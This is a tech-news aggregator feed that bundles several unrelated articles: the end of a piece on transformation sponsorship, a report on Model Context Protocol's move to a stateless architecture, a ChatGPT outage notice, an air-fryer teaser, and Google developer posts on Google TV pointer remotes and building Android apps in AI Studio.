<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Uh Oh: I Learned How to Make Air Fryer Fries Taste Exactly Like Deep-Fried]]></title>
<description><![CDATA[Four small adjustments to your air fryer fry routine produce results that are genuinely hard to distinguish from the deep-fried version.]]></description>
<link>https://tsecurity.de/de/3693979/it-nachrichten/uh-oh-i-learned-how-to-make-air-fryer-fries-taste-exactly-like-deep-fried/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693979/it-nachrichten/uh-oh-i-learned-how-to-make-air-fryer-fries-taste-exactly-like-deep-fried/</guid>
<pubDate>Sat, 25 Jul 2026 15:56:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Four small adjustments to your air fryer fry routine produce results that are genuinely hard to distinguish from the deep-fried version.]]></content:encoded>
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<title><![CDATA[OpenAI Confirms ChatGPT is Down Worldwide]]></title>
<description><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. M...]]></description>
<link>https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</guid>
<pubDate>Sat, 25 Jul 2026 11:49:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. Most of what people are describing points to the login or authentication layer rather than the chat model itself.



Users say they get stuck on a loading screen, get signed out in the middle of a conversation, or cannot open their older chats at all. Both free and paid ChatGPT accounts seem to be affected, and the trouble is not limited to the website. Some people on the mobile app have run into the same login problems.



Common symptoms being reported include:




Failed logins or repeated authentication errors



Chat history that will not load



Sessions ending without warning



"Service unavailable" messages when sending a prompt




OpenAI's Response So Far



OpenAI's status page lists the affected services as under investigation. At the same time, the page has flipped between showing an active issue and showing normal operation while engineers work through the fix. This kind of mismatch is common during login related outages, since the sign in system can break down even while the core chatbot keeps running fine underneath it.



This is not the first rough week for ChatGPT. Just two days earlier, on July 23, OpenAI dealt with a separate outage affecting ChatGPT, Codex, and its API that took close to 24 hours to fully resolve. With this new round of complaints landing so soon after that incident, users on social media have started asking why the service has been running into trouble so often lately.



If you cannot get into ChatGPT right now, a few small steps can help before you assume the worst:




Refresh the page, or fully close and reopen the app



Log out and log back in instead of just refreshing



Check status.openai.com for the latest update



Try the mobile app if the website will not load, or the other way around




OpenAI has not shared a root cause or a timeline for a fix yet, and this piece will be updated once more information comes in.]]></content:encoded>
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<item>
<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
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    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
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    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
